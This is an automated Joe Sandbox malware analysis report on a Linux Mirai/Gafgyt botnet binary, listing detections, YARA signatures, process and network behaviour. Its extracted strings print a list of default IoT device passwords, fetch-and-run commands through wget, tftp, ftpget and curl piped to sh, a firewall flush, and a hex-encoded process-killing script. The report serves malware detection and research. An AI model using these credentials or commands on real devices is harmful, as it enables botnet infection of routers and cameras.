Edit tour

Linux Analysis Report
i686.elf

Overview

General Information

Sample name:	i686.elf
Analysis ID:	1585065
MD5:	d41c2d8db63ef64c4f61f388d89463a6
SHA1:	045902c85779361e4b3978c9f8b9ead027123474
SHA256:	9d96c0a2d2ed0dc62589bee398fc3deb61dff1756a948e6c5ad320465b667066
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	84
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Deletes system log files

Machine Learning detection for sample

Performs DNS TXT record lookups

Sample tries to access files in /etc/config/ (typical for OpenWRT routers)

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585065
Start date and time:	2025-01-07 01:36:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	i686.elf
Detection:	MAL
Classification:	mal84.troj.evad.linELF@0/1@3/0

Warnings

VT rate limit hit for: www.onlydance.cam

Runtime Messages

Command:	/tmp/i686.elf
PID:	5583
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	thIs wEek on xLaB aNd fOxNoIntel lEarNs sHiT
Standard Error:

Process Tree

system is lnxubuntu20

i686.elf (PID: 5583, Parent: 5495, MD5: d41c2d8db63ef64c4f61f388d89463a6) Arguments: /tmp/i686.elf

i686.elf New Fork (PID: 5586, Parent: 5583)

i686.elf New Fork (PID: 5587, Parent: 5583)

i686.elf New Fork (PID: 5596, Parent: 5583)

i686.elf New Fork (PID: 5597, Parent: 5583)

i686.elf New Fork (PID: 5625, Parent: 5583)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
i686.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
i686.elf	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xeff8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
i686.elf	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xf7e7:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
i686.elf	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xb4f2:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xb654:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
i686.elf	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x1221a:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
i686.elf	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xf3a7:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
i686.elf	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xf672:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
i686.elf	Linux_Trojan_Mirai_1cb033f3	unknown	unknown	0x4d99:$a: C3 EB 06 8A 46 FF 88 47 FF FF CA 48 FF C7 48 FF C6 83 FA FF
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5583.1.0000000000400000.0000000000417000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5583.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xeff8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5583.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xf7e7:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5583.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xb4f2:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xb654:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5583.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x1221a:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5583.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xf3a7:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5583.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xf672:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5583.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Mirai_1cb033f3	unknown	unknown	0x4d99:$a: C3 EB 06 8A 46 FF 88 47 FF FF CA 48 FF C7 48 FF C6 83 FA FF
Click to see the 3 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: i686.elf	ReversingLabs: Detection: 31%
Source: i686.elf	Virustotal: Detection: 33%			Perma Link

Machine Learning detection for sample

Source: i686.elf

Joe Sandbox ML: detected

Source: i686.elf

String: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafedbin20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4g

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 188.166.182.194 ports 1,2,3,8,9,19823

Source: global traffic	TCP traffic: 192.168.2.14:44266 -> 188.166.182.194:19823
Source: global traffic	UDP traffic: 192.168.2.14:60687 -> 74.125.250.129:19302

Source: /tmp/i686.elf (PID: 5583)

Socket: 127.0.0.1:43478

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 9.120.75.127
Source: unknown	TCP traffic detected without corresponding DNS query: 9.120.75.127
Source: unknown	TCP traffic detected without corresponding DNS query: 9.120.75.127
Source: unknown	TCP traffic detected without corresponding DNS query: 9.120.75.127
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	UDP traffic detected without corresponding DNS query: 74.125.250.129

Source: global traffic	DNS traffic detected: DNS query: www.onlydance.cam
Source: global traffic	DNS traffic detected: DNS query: daisy.ubuntu.com

Source: i686.elf	String found in binary or memory: http:///curl.sh
Source: i686.elf	String found in binary or memory: http:///wget.sh

System Summary

Malicious sample detected (through community Yara rule)

Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_1cb033f3 Author: unknown
Source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_1cb033f3 Author: unknown

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
Source: Initial sample	String containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafedbin20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| s

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/i686.elf (PID: 5586)

SIGKILL sent: pid: 940, result: successful

Jump to behavior

Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_1cb033f3 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 49201ab37ff0b5cdfa9b0b34b6faa170bd25f04df51c24b0b558b7534fecc358, id = 1cb033f3-68c1-4fe5-9cd1-b5d066c1d86e, last_modified = 2021-09-16
Source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_1cb033f3 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 49201ab37ff0b5cdfa9b0b34b6faa170bd25f04df51c24b0b558b7534fecc358, id = 1cb033f3-68c1-4fe5-9cd1-b5d066c1d86e, last_modified = 2021-09-16

Source: classification engine

Classification label: mal84.troj.evad.linELF@0/1@3/0

Data Obfuscation

Sample tries to access files in /etc/config/ (typical for OpenWRT routers)

Source: /tmp/i686.elf (PID: 5587)

File: /etc/config

Jump to behavior

Source: /tmp/i686.elf (PID: 5587)	Directory: /root/.cache	Jump to behavior
Source: /tmp/i686.elf (PID: 5587)	Directory: /root/.ssh	Jump to behavior
Source: /tmp/i686.elf (PID: 5587)	Directory: /root/.config	Jump to behavior
Source: /tmp/i686.elf (PID: 5587)	Directory: /root/.local	Jump to behavior
Source: /tmp/i686.elf (PID: 5587)	Directory: /tmp/.X11-unix	Jump to behavior
Source: /tmp/i686.elf (PID: 5587)	Directory: /tmp/.Test-unix	Jump to behavior
Source: /tmp/i686.elf (PID: 5587)	Directory: /tmp/.font-unix	Jump to behavior
Source: /tmp/i686.elf (PID: 5587)	Directory: /tmp/.ICE-unix	Jump to behavior
Source: /tmp/i686.elf (PID: 5587)	Directory: /tmp/.XIM-unix	Jump to behavior
Source: /tmp/i686.elf (PID: 5587)	Directory: /etc/.java	Jump to behavior

Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/7686/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/7686/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/14056/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/14056/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/8411/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/8411/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/8499/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/8499/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9225/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9225/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/15265/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/15265/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9062/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9062/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13408/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13408/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13926/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13926/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/11628/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/11628/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/11509/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/11509/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/7799/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/7799/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/8888/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/8888/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/7714/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/7714/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/10894/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/10894/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/14978/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/14978/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/12434/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/12434/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13369/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13369/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13644/maps	Jump to behavior
